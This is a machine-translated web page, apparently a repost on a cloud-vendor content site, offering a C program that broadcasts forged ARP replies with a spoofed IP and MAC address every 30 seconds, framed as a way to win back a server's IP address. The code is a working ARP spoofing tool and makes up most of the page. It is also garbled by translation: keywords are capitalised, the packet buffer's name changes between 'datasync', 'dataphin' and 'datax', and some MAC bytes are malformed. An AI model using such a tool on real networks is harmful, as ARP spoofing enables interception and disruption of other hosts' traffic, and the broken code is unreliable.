ARP spoofing program in Linux

Source: Internet
Author: User
An ARP reply program that was written a long time ago can sometimes be used at critical times. Save it. Once, the IP address of your server does not know which group you want to compete for. As a result, the network cannot be accessed, and the network administrator cannot find the server. There is really no way, just use this program to regain their IP address. Note that both the IP address and MAC address are false.
  1. # Include <stdio. h>
  2. # Include <stdlib. h>
  3. # Include <net/Ethernet. h>
  4. # Include <netinet/if_ether.h>
  5. # Include <netinet/in. h>
  6. # Include <sys/socket. h>
  7. # Define src_ip "238.221.236.83"
  8. # Define target_ip "238.221.236.119"
  9. Short src_mac [] = {0x00,0x03, 0x1a, 0x01,0x00,0x00 };
  10. Short target_mac [] = {0 x, 0 x, 0x25, 0x9d, 0xc1, 0xf0 };
  11. Void send_arp_reply (void );
  12. Int main (INT argc, char * ARGs [])
  13. {
  14. While (1)
  15. {
  16. Send_arp_reply ();
  17. Sleep (30 );
  18. }
  19. Return 0;
  20. }
  21. Void send_arp_reply (void)
  22. {
  23. Struct ether_header * eth_hdr;
  24. Struct ether_arp * ARP;
  25. Char datasync [60];
  26. Eth_hdr = (struct ether_header *) datasync;
  27. Memset (dataphin, 0, sizeof (dataphin ));
  28. // Set the Ethernet header
  29. Eth_hdr-> ether_dhost [0] = target_mac [0];
  30. Eth_hdr-> ether_dhost [1] = target_mac [1];
  31. Eth_hdr-> ether_dhost [2] = target_mac [2];
  32. Eth_hdr-> ether_dhost [3] = target_mac [3];
  33. Eth_hdr-> ether_dhost [4] = target_mac [4];
  34. Eth_hdr-> ether_dhost [5] = target_mac [5];
  35. Eth_hdr-> ether_shost [0] = src_mac [0];
  36. Eth_hdr-> ether_shost [1] = src_mac [1];
  37. Eth_hdr-> ether_shost [2] = src_mac [2];
  38. Eth_hdr-> ether_shost [3] = src_mac [3];
  39. Eth_hdr-> ether_shost [4] = src_mac [4];
  40. Eth_hdr-> ether_shost [5] = src_mac [5];
  41. Eth_hdr-> ether_type = htons (ethertype_arp );
  42. // Set the ARP Header
  43. ARP = (struct ARP *) (datasync + sizeof (struct ether_header ));
  44. ARP-> arp_hrd = htons (arphrd_ether );
  45. ARP-> arp_pro = htons (ethertype_ip );
  46. ARP-> arp_hln = 6;
  47. ARP-> arp_pln = 4;
  48. ARP-> arp_op = htons (2 );
  49. // ARP body
  50. // Sender MAC and IP
  51. Memcpy (void *) ARP-> arp_sha, (void *) eth_hdr-> ether_shost, 6 );
  52. Struct in_addr inadd_sender;
  53. Inet_aton (src_ip, & inadd_sender );
  54. Memcpy (void *) ARP-> arp_spa, (void *) & inadd_sender, 4 );
  55. // Target Mac and IP
  56. Memcpy (void *) ARP-> arp_tha, (void *) eth_hdr-> ether_dhost, 6 );
  57. Struct in_addr inadd_target;
  58. Inet_aton (target_ip, & inadd_target );
  59. Memcpy (void *) ARP-> arp_tpa, (void *) & inadd_target, 4 );
  60. // Establish socket
  61. Int FD = socket (af_inet, sock_packet, htons (eth_p_arp ));
  62. If (FD <0)
  63. {
  64. Perror ("socket ");
  65. Exit (-1 );
  66. }
  67. Struct sockaddr SA;
  68. Strcpy (SA. sa_data, "eth0 ");
  69. Sendto (FD, datax, sizeof (datax), 0, & SA, sizeof (SA ));
  70. Close (FD );
  71. Return;
  72. }

For specific message formats, see <TCP/IP details>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.